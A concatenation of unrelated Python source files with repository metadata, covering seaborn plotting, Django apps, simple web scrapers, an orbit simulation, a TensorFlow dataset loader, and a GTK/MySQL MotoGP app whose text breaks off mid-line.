x_vars=["sepal_length", "sepal_width"], y_vars=["petal_length", "petal_width"]) iris_g.map(plt.scatter) # In[ ]: # Add a legend last iris_g.add_legend() # ### Facet Grid # In[ ]: # Can also print multiple plots in a grid in which you define columns & rows # Get histogram for smokers and non with total bill for lunch & dinner tips_fg = sns.FacetGrid(tips_df, col='time', row='smoker') # In[ ]: # You can pass in attributes for the histogram tips_fg.map(plt.hist, "total_bill", bins=8) # In[ ]: # Create a scatter plot with data on total bill & tip (You need to parameters) tips_fg.map(plt.scatter, "total_bill", "tip") # In[ ]: # We can assign variables to different colors and increase size of grid # Aspect is 1.3 x the size of height # You can change the order of the columns # Define the palette used tips_fg = sns.FacetGrid(tips_df, col='time', hue='smoker', height=4, aspect=1.3, col_order=['Dinner', 'Lunch'], palette='Set1') tips_fg.map(plt.scatter, "total_bill", "tip", edgecolor='w') # In[ ]: # Define size, linewidth and assign a color of white to markers kws = dict(s=50, linewidth=.5, edgecolor="w") # Define that we want to assign different markers to smokers and non tips_fg = sns.FacetGrid(tips_df, col='sex', hue='smoker', height=4, aspect=1.3, hue_order=['Yes','No'], hue_kws=dict(marker=['^', 'v'])) tips_fg.map(plt.scatter, "total_bill", "tip", **kws) tips_fg.add_legend() # In[ ]: # This dataframe provides scores for different students based on the level # of attention they could provide during testing att_df = sns.load_dataset("attention") # In[ ]: # Put each person in their own plot with 5 per line and plot their scores att_fg = sns.FacetGrid(att_df, col='subject', col_wrap=5, height=1.5) att_fg.map(plt.plot, 'solutions', 'score', marker='.') # ### Regression Plots # In[ ]: # lmplot combines regression plots with facet grid tips_df = sns.load_dataset('tips') tips_df.head() # In[ ]: plt.figure(figsize=(8,6)) sns.set_context('paper', font_scale=1.4) plt.figure(figsize=(8,6)) # We can plot a regression plot studying whether total bill effects the tip # hue is used to show separation based off of categorical data # We see that males tend to tip slightly more # Define different markers for men and women # You can effect the scatter plot by passing in a dictionary for styling of markers sns.lmplot(x='total_bill', y='tip', hue='sex', data=tips_df, markers=['o', '^'], scatter_kws={'s': 100, 'linewidth': 0.5, 'edgecolor': 'w'}) # In[ ]: # You can separate the data into separate columns for day data # sns.lmplot(x='total_bill', y='tip', col='sex', row='time', data=tips_df) tips_df.head() # Makes the fonts more readable sns.set_context('poster', font_scale=1.4) sns.lmplot(x='total_bill', y='tip', data=tips_df, col='day', hue='sex', height=8, aspect=0.6)

[ "talhaofficialwork@gmail.com" ]

talhaofficialwork@gmail.com

094285e188cc74e8c610f2daa584348e0873f7ca

6237a4d717a7055c9b0f1de3204554cbf5069b62

/UserLog/urls.py

4457c41a32857ba13cffcc92a2bd40f237eea06e

[]

no_license

sylvia198591/BookProject

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eabfb6cfe63e45f7f73c1500bad6aa8d3a1c62fb

refs/heads/master

2023-03-27T00:25:10.827236

2021-03-22T08:43:49

350,118,352

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py

from django.urls import path from UserLog import views from django.conf.urls import url from UserLog import views from UserLog.views import ExampleView, CustomAuthToken urlpatterns = [ path('api/users/',ExampleView.as_view()), path('api/token/auth/', CustomAuthToken.as_view()), ]

[ "sylvia.anitha@gmail.com" ]

sylvia.anitha@gmail.com

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/random_request.py

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[]

no_license

kannanenator/haikus-from-wikipedia

ef8168e310bb8190a6b457c5d2f4be09db21bc6f

a404033fcd8f4850e150b0a820d8be4974cd6eb4

refs/heads/master

2020-04-05T23:09:27.083860

2019-11-04T00:05:19

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import requests from bs4 import BeautifulSoup import sys # runs on python 3.5 def request_random(): '''Request random wikipedia article, return html_doc''' r = requests.get('https://en.wikipedia.org/wiki/Special:Random') return r.content, r.url def parse_article(article): '''parse html and get relevant (main paragraph) text out the article''' soup = BeautifulSoup(article, 'html.parser') paragraphs = soup.find_all("p") ps = (" ").join([elem.text for elem in paragraphs]) title = soup.find("h1", id="firstHeading").text return ps, title def get_random_text(): '''puts the full request together''' html_doc, url = request_random() parsed, title = parse_article(html_doc) return parsed, title, url if __name__ == "__main__": print(get_random_text())

[ "kannanenator.gmail.com" ]

kannanenator.gmail.com

1140e573f0619909625e7218b1ff94f7d6402bec

dc849231858f6a1378c8fb52e81035d20e48e321

/Lab3/实验代码/2/bookmanager/forms.py

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[]

no_license

Fooo0/Software-Engineering

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47c65bc7b291352ea590ea168bf30a32b1e25363

refs/heads/master

2021-01-10T17:20:59.748108

2016-02-20T14:35:52

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py

# -*- coding: utf-8 -*- from django import forms from bookmanager.models import Book, Author class Form_Book_new(forms.ModelForm): class Meta: model = Book fields = ('Title','AuthorID','Publisher', 'PublishDate', 'Price') error_messages = { 'Title': {'required' : '请填写书名'}, 'AuthorID' : {'required' : '请填写作者ID'}, 'Publisher' : {'required' : '请填写出版社'}, 'Price' : {'required' : '请填写价格'}, } def __init__(self, *args, **kwargs): super(Form_Book_new, self).__init__(*args, **kwargs) self.fields['PublishDate'].widget = forms.TextInput(attrs={ 'placeholder': "格式举例：1995-05-28"}) class Form_Book_update(forms.ModelForm): class Meta: model = Book fields = ('AuthorID','Publisher', 'PublishDate', 'Price') error_messages = { 'AuthorID' : {'required' : '请填写作者ID'}, 'Publisher' : {'required' : '请填写出版社'}, 'Price' : {'required' : '请填写价格'}, } def __init__(self, *args, **kwargs): super(Form_Book_update, self).__init__(*args, **kwargs) self.fields['PublishDate'].widget = forms.TextInput(attrs={ 'placeholder': "格式举例：1995-05-28"}) class Form_Author(forms.ModelForm): class Meta: model = Author fields = ('Name','Age','Country',) error_messages = { 'Name': {'required' : '请填写作者姓名',}, 'Country' : {'required' : '请填写作者国别',}, }

[ "xiao-fei-fei@qq.com" ]

xiao-fei-fei@qq.com

706672dfd171b2790a1fdce2493d5e185f065859

35831bbf46ee61be24a27983deaafe0247b0d141

/2-body-sim.py

8a0e9f7a8a8c937a1352b14fe2bce9da5acfeb30

[]

no_license

austinpower1258/3-Body-Problem

15ae4b8c93b30b433e574f4fcf0f17fa8d7081c3

efe344e299fb9dd7b6ab960a177b4becbfdfa96e

refs/heads/main

2023-06-27T08:34:37.893727

2021-08-03T04:48:20

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2021-08-03T04:37:43

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#Utilizing Newton's Law of Gravitation to model the 3 Body Problem. import scipy as sci import scipy.integrate import matplotlib.pyplot as plt from mpt_toolkits.mplot3d import Axes3D from matplotlib import animation G = 6.6741e-11 m_nd = 1.989e+30 #mass of sun r_nd = 5.326e+12 #distance between stars in Alpha Centauri v_nd = 30000 #relative velocity of earth around sun t_nd=79.91*365*24*3600*0.51 #orbital period of Alpha Centauri K1=G*t_nd*m_nd/(r_nd**2*v_nd) K2=v_nd*t_nd/r_nd #Define masses m1=1.1 #Alpha Centauri A m2=0.907 #Alpha Centauri B #Define initial position vectors r1=[-0.5,0,0] #m r2=[0.5,0,0] #m #Convert pos vectors to arrays r1=sci.array(r1,dtype="float64") r2=sci.array(r2,dtype="float64") #Find Centre of Mass r_com=(m1*r1+m2*r2)/(m1+m2) #Define initial velocities v1=[0.01,0.01,0] #m/s v2=[-0.05,0,-0.1] #m/s #Convert velocity vectors to arrays v1=sci.array(v1,dtype="float64") v2=sci.array(v2,dtype="float64") #Find velocity of COM v_com=(m1*v1+m2*v2)/(m1+m2) #A function defining the equations of motion def TwoBodyEquations(w,t,G,m1,m2): r1=w[:3] r2=w[3:6] v1=w[6:9] v2=w[9:12] r=sci.linalg.norm(r2-r1) #Calculate magnitude or norm of vector dv1bydt=K1*m2*(r2-r1)/r**3 dv2bydt=K1*m1*(r1-r2)/r**3 dr1bydt=K2*v1 dr2bydt=K2*v2 r_derivs=sci.concatenate((dr1bydt,dr2bydt)) derivs=sci.concatenate((r_derivs,dv1bydt,dv2bydt)) return derivs #Package initial parameters init_params=sci.array([r1,r2,v1,v2]) #create array of initial params init_params=init_params.flatten() #flatten array to make it 1D time_span=sci.linspace(0,8,500) #8 orbital periods and 500 points #Run the ODE solver two_body_sol=sci.integrate.odeint(TwoBodyEquations,init_params,time_span,args=(G,m1,m2)) r1_sol=two_body_sol[:,:3] r2_sol=two_body_sol[:,3:6] #Create figure fig=plt.figure(figsize=(15,15)) #Create 3D axes ax=fig.add_subplot(111,projection="3d") #Plot the orbits ax.plot(r1_sol[:,0],r1_sol[:,1],r1_sol[:,2],color="darkblue") ax.plot(r2_sol[:,0],r2_sol[:,1],r2_sol[:,2],color="tab:red") #Plot the final positions of the stars ax.scatter(r1_sol[-1,0],r1_sol[-1,1],r1_sol[-1,2],color="darkblue",marker="o",s=100,label="Alpha Centauri A") ax.scatter(r2_sol[-1,0],r2_sol[-1,1],r2_sol[-1,2],color="tab:red",marker="o",s=100,label="Alpha Centauri B") #Add a few more bells and whistles ax.set_xlabel("x-coordinate",fontsize=14) ax.set_ylabel("y-coordinate",fontsize=14) ax.set_zlabel("z-coordinate",fontsize=14) ax.set_title("Visualization of orbits of stars in a two-body system\n",fontsize=14) ax.legend(loc="upper left",fontsize=14) #Find location of COM rcom_sol=(m1*r1_sol+m2*r2_sol)/(m1+m2) #Find location of Alpha Centauri A w.r.t COM r1com_sol=r1_sol-rcom_sol #Find location of Alpha Centauri B w.r.t COM r2com_sol=r2_sol-rcom_sol

[ "austinpower1258@gmail.com" ]

austinpower1258@gmail.com

0af3b29891b6fbebdeee1c25209ba88f7d067e45

362591481e20b0cfb65d92829698d7defe22c4c4

/themarket/products/migrations/0001_initial.py

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[]

no_license

wahello/themarket

595025d62e1f7b00a78798475b2d8e9a2e2fe443

23fb34d7e850f50d9c7defd0de2649611086ea0f

refs/heads/master

2020-08-01T19:43:17.681826

2018-09-03T11:27:05

null

0

null

UTF-8

Python

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909

py

# Generated by Django 2.0.6 on 2018-08-02 11:57 from django.db import migrations, models import products.models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Product', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=100)), ('slug', models.SlugField(blank=True, unique=True)), ('description', models.TextField()), ('price', models.DecimalField(decimal_places=2, default=19.99, max_digits=25)), ('image', models.ImageField(blank=True, null=True, upload_to=products.models.upload_image_path)), ('featured', models.BooleanField(default=False)), ], ), ]

[ "peadarh10@gmail.com" ]

peadarh10@gmail.com

5cfdb1953496c336c527e9960195efc031c7c309

c09b12ec1e56ff679c9795c48d828d832630e49f

/hw6/webapps/urls.py

f42d5dabb59476e001a7d847daa9524edeb0bd7d

[]

no_license

justinguo/Web-Application-Development

9bceda6bb3359eea2f5f03b88b638218d7a51f4f

23eb79359b0ad3b202b32d55ba33ccd1e40d4d6a

refs/heads/master

2021-01-21T05:16:55.119537

2017-02-25T22:15:51

83,166,202

0

null

UTF-8

Python

false

207

py

from django.conf.urls import patterns, include, url from django.contrib import admin urlpatterns = patterns('', url(r'^admin/', include(admin.site.urls)), url(r'', include('socialnetwork.urls')), )

[ "justinguo317@gmail.com" ]

justinguo317@gmail.com

a64a605f728f7e372b162f11ff7618200ec903bc

beebc5ff44407f3f3a4c1463cd09f0917dbe5391

/pytype/tools/merge_pyi/test_data/simple.comment.py

1b8f2e1604e2a1c309c4cf80b2abc6b62ca7c58b

[ "Apache-2.0", "MIT" ]

permissive

mraarif/pytype

4f190cb2591896133761295f3d84d80602dffb58

546e8b8114c9af54a409985a036398c4f6955677

refs/heads/master

2023-01-23T09:48:06.239353

2020-12-02T06:08:27

303,069,915

1

0

NOASSERTION

2020-12-02T06:08:28

2020-10-11T07:53:55

null

UTF-8

Python

false

169

py

from typing import Any def f1(a, b): # type: (Any, Any) -> r1 """Doc""" return a+b def f2(a): # type: (Any) -> r2 return 1 def f3(a): return 1

[ "rechen@google.com" ]

rechen@google.com

f4cf95f415d6cafda447424f9f68a0875e3b4189

9cba18b1811fb6d4447627b6f6b64c18167cd590

/sclp028.py

ed5373544f969af84b6b6ec87aedd7649596f469

[]

no_license

kh4r00n/SoulCodeLP

45e10778c3b894dbaadad46b213d25daf557f2a0

a104852d26edf0b11b23ec2545c9422e9ba42c6e

refs/heads/main

2023-08-10T22:46:01.123331

2021-10-05T03:02:36

411,645,788

0

null

UTF-8

Python

false

204

py

''' Crie u programa que leia um número de 3 dígitos ''' num = int(input('Digite um número: ')) while num < 100 or num > 999: num = int(input('O numero nao tem 3 digitos. Digite novamente:'))

[ "noreply@github.com" ]

kh4r00n.noreply@github.com

8a42837ead36a6a7bd40e72a709707c10b2da8a9

6f23d4d5cfd3b464457c6622e662af87bf957125

/crudapp/migrations/0010_auto_20200819_1604.py

80dc406f0446374f0e353312f24fc4bcc9316965

[]

no_license

RohiniPunde/crud

31c411662350d1f85f334e3cad3adcf63c2098a9

a2ff0b051234f3c1584b8dadbc58ff01d9222730

refs/heads/master

2022-12-15T18:45:37.175833

2020-08-29T16:33:37

287,257,366

0

null

2020-08-29T16:33:38

2020-08-13T11:09:54

Python

UTF-8

Python

false

389

py

# Generated by Django 3.0.3 on 2020-08-19 23:04 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('crudapp', '0009_auto_20200819_1556'), ] operations = [ migrations.AlterField( model_name='customer', name='phone', field=models.BigIntegerField(null=True), ), ]

[ "punderohini@gmail.com" ]

punderohini@gmail.com

4c3c2cc9d54d334c6c07cfddc33d6c9c853a2442

4be56098894a95da5964622fc4102b69e4530ab6

/题库/1032.等式方程的可满足性.py

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[]

no_license

ACENDER/LeetCode

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3383b09ab1246651b1d7b56ab426a456f56a4ece

refs/heads/master

2023-03-13T19:19:07.084141

2021-03-15T09:29:21

299,332,864

0

null

UTF-8

Python

false

95

py

# !/usr/bin/env python3 # -*- coding: utf-8 -*- # @File : 1032.等式方程的可满足性.py

[ "1641429327@qq.com" ]

1641429327@qq.com

eb357b4506f5f70ef0b18f378e976d94d6b2f4e8

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/602/day02.py

553fd27c2021b09c7e781bfcd47b81a9e91d4215

[]

no_license

shangtengjun/spider

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dc503ad949cbde7447b52425d66a94df7b43c19b

refs/heads/master

2022-12-09T21:46:40.386697

2020-09-09T08:33:17

281,431,432

0

null

UTF-8

Python

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1,429

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# coding:utf-8 import requests headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"} s = 0 for i in range(20): http_url = "http://tieba.baidu.com/f?kw=%E5%B9%BF%E4%B8%9C%E5%B7%A5%E4%B8%9A%E5%A4%A7%E5%AD%A6%E5%8D%8E%E7%AB%8B%E5%AD%A6%E9%99%A2&ie=utf-8&pn="+str(s) response = requests.get(http_url, headers=headers) html_content = response.content.decode('utf-8') s += 50 r = open('.\class602\贴吧{}'.format(i+1),'w',encoding='utf-8') r.write(html_content) r.close() ''' tu = ['https://game.gtimg.cn/images/yxzj/img201606/skin/hero-info/112/112-bigskin-1.jpg','https://game.gtimg.cn/images/yxzj/img201606/skin/hero-info/513/513-bigskin-2.jpg','https://game.gtimg.cn/images/yxzj/img201606/skin/hero-info/199/199-bigskin-2.jpg','https://game.gtimg.cn/images/yxzj/img201606/skin/hero-info/167/167-bigskin-5.jpg','https://game.gtimg.cn/images/yxzj/img201606/skin/hero-info/123/123-bigskin-2.jpg','https://game.gtimg.cn/images/yxzj/img201606/skin/hero-info/184/184-bigskin-1.jpg'] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"} for i in range(6): response = requests.get(tu[i], headers=headers) r = open('.\class602\图片{}'.format(i+1),'wb') r.write(response.content) r.close() '''

[ "358695374@qq.com" ]

358695374@qq.com

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/experimentFiles/experiment/ui_MainWindow.py

67b04bfb2b762476dcf8dc5ab367076846ada9b0

[]

no_license

mercedes92/VisualIKExperiment

fc7424c0f827aa695bf1d34d8e4c7f5cf21e46d0

a9cfa1e541c1822cf7e6bc116c482f5fc289722e

refs/heads/master

2021-01-10T19:53:36.790976

2015-08-21T11:56:54

39,624,961

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false

5,165

py

# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'mainUI.ui' # # Created: Thu Jul 2 18:53:45 2015 # by: PyQt4 UI code generator 4.11.2 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_guiDlg(object): def setupUi(self, guiDlg): guiDlg.setObjectName(_fromUtf8("guiDlg")) guiDlg.resize(915, 569) self.verticalLayout = QtGui.QVBoxLayout(guiDlg) self.verticalLayout.setObjectName(_fromUtf8("verticalLayout")) self.horizontalLayout = QtGui.QHBoxLayout() self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout")) self.testButton = QtGui.QPushButton(guiDlg) self.testButton.setObjectName(_fromUtf8("testButton")) self.horizontalLayout.addWidget(self.testButton) self.stopButton = QtGui.QPushButton(guiDlg) self.stopButton.setObjectName(_fromUtf8("stopButton")) self.horizontalLayout.addWidget(self.stopButton) self.verticalLayout.addLayout(self.horizontalLayout) self.line = QtGui.QFrame(guiDlg) self.line.setFrameShape(QtGui.QFrame.HLine) self.line.setFrameShadow(QtGui.QFrame.Sunken) self.line.setObjectName(_fromUtf8("line")) self.verticalLayout.addWidget(self.line) self.errorLabel = QtGui.QLabel(guiDlg) self.errorLabel.setObjectName(_fromUtf8("errorLabel")) self.verticalLayout.addWidget(self.errorLabel) self.scrollArea_2 = QtGui.QScrollArea(guiDlg) self.scrollArea_2.setWidgetResizable(True) self.scrollArea_2.setObjectName(_fromUtf8("scrollArea_2")) self.scrollAreaWidgetContents_2 = QtGui.QWidget() self.scrollAreaWidgetContents_2.setGeometry(QtCore.QRect(0, 0, 893, 205)) self.scrollAreaWidgetContents_2.setObjectName(_fromUtf8("scrollAreaWidgetContents_2")) self.gridLayout_2 = QtGui.QGridLayout(self.scrollAreaWidgetContents_2) self.gridLayout_2.setObjectName(_fromUtf8("gridLayout_2")) self.textEdit_2 = QtGui.QTextEdit(self.scrollAreaWidgetContents_2) self.textEdit_2.setMinimumSize(QtCore.QSize(800, 100)) self.textEdit_2.setMaximumSize(QtCore.QSize(800, 200)) self.textEdit_2.setObjectName(_fromUtf8("textEdit_2")) self.gridLayout_2.addWidget(self.textEdit_2, 0, 0, 1, 1) self.scrollArea_2.setWidget(self.scrollAreaWidgetContents_2) self.verticalLayout.addWidget(self.scrollArea_2) self.line_2 = QtGui.QFrame(guiDlg) self.line_2.setFrameShape(QtGui.QFrame.HLine) self.line_2.setFrameShadow(QtGui.QFrame.Sunken) self.line_2.setObjectName(_fromUtf8("line_2")) self.verticalLayout.addWidget(self.line_2) self.poseLabel = QtGui.QLabel(guiDlg) self.poseLabel.setObjectName(_fromUtf8("poseLabel")) self.verticalLayout.addWidget(self.poseLabel) self.scrollArea = QtGui.QScrollArea(guiDlg) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName(_fromUtf8("scrollArea")) self.scrollAreaWidgetContents = QtGui.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 874, 341)) self.scrollAreaWidgetContents.setObjectName(_fromUtf8("scrollAreaWidgetContents")) self.gridLayout = QtGui.QGridLayout(self.scrollAreaWidgetContents) self.gridLayout.setObjectName(_fromUtf8("gridLayout")) self.textEdit = QtGui.QTextEdit(self.scrollAreaWidgetContents) self.textEdit.setMinimumSize(QtCore.QSize(800, 300)) self.textEdit.setMaximumSize(QtCore.QSize(16777215, 300)) self.textEdit.setUndoRedoEnabled(False) self.textEdit.setReadOnly(True) self.textEdit.setObjectName(_fromUtf8("textEdit")) self.gridLayout.addWidget(self.textEdit, 1, 0, 1, 1) self.ficheroLabel = QtGui.QLabel(self.scrollAreaWidgetContents) self.ficheroLabel.setObjectName(_fromUtf8("ficheroLabel")) self.gridLayout.addWidget(self.ficheroLabel, 0, 0, 1, 1) self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.verticalLayout.addWidget(self.scrollArea) self.retranslateUi(guiDlg) QtCore.QMetaObject.connectSlotsByName(guiDlg) def retranslateUi(self, guiDlg): guiDlg.setWindowTitle(_translate("guiDlg", "visualiktester", None)) self.testButton.setText(_translate("guiDlg", "Run test", None)) self.stopButton.setText(_translate("guiDlg", "Stop", None)) self.errorLabel.setText(_translate("guiDlg", "Error Detectado:", None)) self.poseLabel.setText(_translate("guiDlg", "Pose Actual:", None)) self.ficheroLabel.setText(_translate("guiDlg", "Datos del fichero: ", None))

[ "mpaolett@alumnos.unex.es" ]

mpaolett@alumnos.unex.es

58e2a64da4f5f9392df906fa7ed03792da1a3d60

dfbe8dacccf9527c6448e5edaf0568342b918a19

/src/dataset/dtd_dataset.py

80d2a42084e9ef7ad4d068118a0d2c2eec1b66a1

[ "MIT" ]

permissive

FabianGroeger96/semantic-segmentation-dtd

e0add90e97f8d052690f3244426d19108bf5fb2c

084a0ab5807e912bee80ae2dcf5f22b7ef8579a1

refs/heads/main

2023-05-09T04:33:15.104499

2021-06-02T16:35:06

325,009,577

3

0

MIT

2020-12-31T08:11:29

2020-12-28T12:41:09

Python

UTF-8

Python

false

6,532

py

import os import math import numpy as np import tensorflow as tf from tensorflow.keras.layers.experimental.preprocessing import RandomFlip, RandomRotation, RandomContrast, RandomTranslation from pathlib import Path from src.settings.settings import Settings class DTDDataset: """ Dataset representation for the Describable Textures Dataset (DTD). Link to dataset: https://www.robots.ox.ac.uk/~vgg/data/dtd/ Implemented as Singleton. """ # instance of the class __instance = None @staticmethod def get_instance(settings: Settings, log: bool = False): """ Static access method. """ if DTDDataset.__instance is None: DTDDataset(settings=settings, log=log) return DTDDataset.__instance def __init__(self, settings: Settings, log: bool = False, name: str = 'DTD'): """ Virtually private constructor. """ # throw exception if at initialization an instance already exists if DTDDataset.__instance is not None: raise Exception('Dataset should be a singleton \ and instance is not None at initialization.') else: DTDDataset.__instance = self # parameters self.log = log self.name = name self.settings = settings self.AUTOTUNE = tf.data.experimental.AUTOTUNE # True: one hot encoding for categorical # False: no one hot encoding for sparse catecorical self.one_hot = True # define datasets self.train_ds = None self.val_ds = None self.test_ds = None # define data augmentation self.data_augmentation = tf.keras.Sequential([ RandomFlip("horizontal_and_vertical"), RandomRotation(0.4), RandomContrast(0.4), RandomTranslation(0.2, 0.2, fill_mode='reflect'), ]) # define the folders of the dataset train_folder = 'dtd_train' val_folder = 'dtd_val' test_folder = 'dtd_test' # if tiled should be used if settings.use_tiled: if log: print('Using tiled dataset') train_folder += '_tiled' val_folder += '_tiled' test_folder += '_tiled' # load datasets self.train_ds, train_size = self.create_dataset( os.path.join(self.settings.dataset_path, train_folder)) self.train_steps = math.floor(train_size / self.settings.batch_size) self.val_ds, val_size = self.create_dataset( os.path.join(self.settings.dataset_path, val_folder)) self.val_steps = math.floor(val_size / self.settings.batch_size) self.test_ds, test_size = self.create_dataset( os.path.join(self.settings.dataset_path, test_folder), repeat=False) self.test_steps = math.floor(test_size / self.settings.batch_size) def _parse_function(self, image_filename, label_filename, channels: int): """ Parse image and label and return them. The image is divided by 255.0 and returned as float, the label is returned as is in uint8 format. Args: image_filename: name of the image file label_filename: name of the label file channels: channels of the input image, (the label is always one channel) Returns: tensors for the image and label read operations """ image_string = tf.io.read_file(image_filename) image_decoded = tf.image.decode_png(image_string, channels=channels) image_decoded = tf.image.convert_image_dtype( image_decoded, dtype=tf.float32) # normalize image to zero mean image = tf.multiply(image_decoded, 2.0) image = tf.subtract(image, 1.0) label_string = tf.io.read_file(label_filename) label = tf.image.decode_png(label_string, dtype=tf.uint8, channels=1) return image, label @staticmethod def load_files(data_dir: str): path = Path(data_dir) image_files = list(path.glob('image*.png')) label_files = list(path.glob('label*.png')) # make sure they are in the same order image_files.sort() label_files.sort() image_files_array = np.asarray([str(p) for p in image_files]) label_files_array = np.asarray([str(p) for p in label_files]) return image_files_array, label_files_array def create_dataset(self, data_dir: str, repeat: bool=True): image_files_array, label_files_array = self.load_files(data_dir) dataset = tf.data.Dataset.from_tensor_slices((image_files_array, label_files_array)) # shuffle the filename, unfortunately, then we cannot cache them dataset = dataset.shuffle(buffer_size=10000) # read the images dataset = dataset.map( lambda image, file: self._parse_function( image, file, self.settings.patch_channels)) # Set the sizes of the input image, as keras needs to know them dataset = dataset.map( lambda x, y: ( tf.reshape(x, shape=( self.settings.patch_size, self.settings.patch_size, self.settings.patch_channels)), tf.reshape(y, shape=( self.settings.patch_size, self.settings.patch_size)))) # cut center of the label image in order to use valid filtering in the # network b = self.settings.patch_border if b != 0: dataset = dataset.map(lambda x, y: (x, y[b:-b, b:-b])) if self.one_hot: # reshape the labels to 1d array and do one-hot encoding dataset = dataset.map(lambda x, y: (x, tf.reshape(y, shape=[-1]))) dataset = dataset.map( lambda x, y: ( x, tf.one_hot( y, depth=self.settings.n_classes, dtype=tf.float32))) if self.settings.augment: dataset = dataset.map( lambda x, y: (tf.squeeze(self.data_augmentation(tf.expand_dims(x, 0), training=True), 0), y), num_parallel_calls=self.AUTOTUNE) # batch dataset dataset = dataset.batch(self.settings.batch_size).prefetch(1000) # repeat dataset if repeat: dataset = dataset.repeat() return dataset, image_files_array.size

[ "fabian.groeger@bluewin.ch" ]

fabian.groeger@bluewin.ch

453b76f5dada5d070199968e11ec8472ff2c4592

8ae061d040e16305d4025128b9bf0dfa2d77e6e1

/wordbook/pymodule/machine_learning/module/preprocessing/__init__.py

86473b6829de9d55cba7c2eba4aa35d20b70a6a6

[]

no_license

shiinokinoki/flashcard

313a6b14d1016b2f9b3cd14b1792d3bc0f7fc2cd

144f867d364a1c53a457a0a8bebcc0e42da6c39f

refs/heads/master

2022-12-17T11:26:00.241838

2020-09-19T11:42:46

294,350,980

0

null

2020-09-18T01:20:02

2020-09-10T08:33:20

CSS

UTF-8

Python

false

61

py

from ._data import Image_for_ocr __all__ = ['Image_for_ocr']

[ "shue@shiikishuueinoMacBook-Air.local" ]

shue@shiikishuueinoMacBook-Air.local

74c64ce4ae04ef8be29d1ae4925caa57cc9de28c

10cb919d03d1e50dda253c6e771d470c035f92d1

/proyecto/MotoGP/motogp_app.py

ba8fd9b0fd1f6c5b52d59405aa1df08e6db0097d

[]

no_license

JoseVP/Python-Avanzado

0c1dc0f75dfd259cadfd30d7ce4d2ae3cd3bbce9

ca7c8e346cb170b170af2f5931c02f0d684ec109

refs/heads/master

2021-01-10T21:28:07.926457

2012-05-30T10:33:25

null

0

null

UTF-8

Python

false

14,358

py

#!/usr/bin/env python # -*- coding: utf-8 -*- import MySQLdb from gi.repository import Gtk import subprocess class Moto_GP: #-------------------FUNCIONES INTERNAS---------------------# #Carga los circuitos iniciales en los botones de la Ventana de inicio def cargar_circuitos_iniciales(self): self.carreras = ['Qatar', 'España', 'Portugal', 'Francia', 'Cataluña', 'Gran Bretaña', 'Holanda', 'Alemania', 'Italia', 'Estados Unidos' , 'Indianapolis', 'Republica Checa', 'San Marino' , 'Aragon', 'Japon' , 'Malasia', 'Australia', 'Valencia'] i=1 #Cargamos los nombres de las carreras en los botones de inicio for carrera in self.carreras: boton = self.builder.get_object('button%s'%i) boton.set_label(carrera) i+=1 #Carga los detalles del circuito deseado def cargar_informacion_circuito(self,circuito): Conexion = MySQLdb.connect(host='localhost', user='admin',passwd='motogpadmin', db='MotogpDB') micursor = Conexion.cursor(MySQLdb.cursors.DictCursor) query = "SELECT * FROM circuitos WHERE gran_premio = '%s'" % self.grandes_premios[circuito] micursor.execute(query) datos = micursor.fetchone() #Rellenamos las etiquetas con la informacion obtenida texto_datos = self.builder.get_object("texto_longitud") texto_datos.set_label(datos['longitud']) texto_datos = self.builder.get_object("texto_ancho") texto_datos.set_label(datos['anchura']) texto_datos = self.builder.get_object("texto_curvas_der") texto_datos.set_label(str(datos['curvas_der'])) texto_datos = self.builder.get_object("texto_curvas_izq") texto_datos.set_label(str(datos['curvas_izq'])) texto_datos = self.builder.get_object("texto_recta") texto_datos.set_label(datos['recta_larga']) texto_datos = self.builder.get_object("texto_fecha_const") texto_datos.set_label(datos['fecha_construccion']) texto_datos = self.builder.get_object("texto_fecha_mod") texto_datos.set_label(datos['fecha_modificacion']) texto_datos = self.builder.get_object("label_nombre") texto_datos.set_label('Gran Premio de %s - %s' % (circuito,datos['nombre'])) #Cerramos la conexion con la base de datos micursor.close () Conexion.close() #Carga los records del circuito deseado def cargar_records_circuito(self,circuito): Conexion = MySQLdb.connect(host='localhost', user='admin',passwd='motogpadmin', db='MotogpDB') micursor = Conexion.cursor(MySQLdb.cursors.DictCursor) #Obtenemos el id asociado al circuito para obtener los records exactos del circuito query = "SELECT id FROM circuitos WHERE gran_premio = '%s'" % self.grandes_premios[circuito] micursor.execute(query) id_circuito= micursor.fetchone() query = "SELECT * FROM records_circuitos WHERE id_circuito = '%s' ORDER BY categoria DESC" % id_circuito['id'] micursor.execute(query) records = micursor.fetchall() grid = self.builder.get_object("grid_records") #Guardamos la categoria inicial para compararla y ver cuando cambia la categoria en los datos cat_act = records[0]['categoria'] i = 2 for record in records: if (record['categoria'] != cat_act): #si la categoria ha cambiado comprobamos que categoria es #para asignar la fila en la que debemos empezar a rellenar los datos if(record['categoria'] == 'MotoGP'): i=2 elif (record['categoria'] == 'Moto2'): i=7 elif (record['categoria'] == '125cc'): i=12 cat_act = record['categoria'] label = self.builder.get_object("label_%s_%s" %(i,1)) #si temporada = 0 significa que no hay resultado #asi que en vez de mostrar un 0 en ese campo lo mostramos vacio if (record['temporada'] != 0): label.set_label(str(record['temporada'])) else: label.set_label('') label = self.builder.get_object("label_%s_%s" %(i,2)) label.set_label(record['piloto']) label = self.builder.get_object("label_%s_%s" %(i,3)) label.set_label(record['motocicleta']) label = self.builder.get_object("label_%s_%s" %(i,4)) label.set_label(record['tiempo']) label = 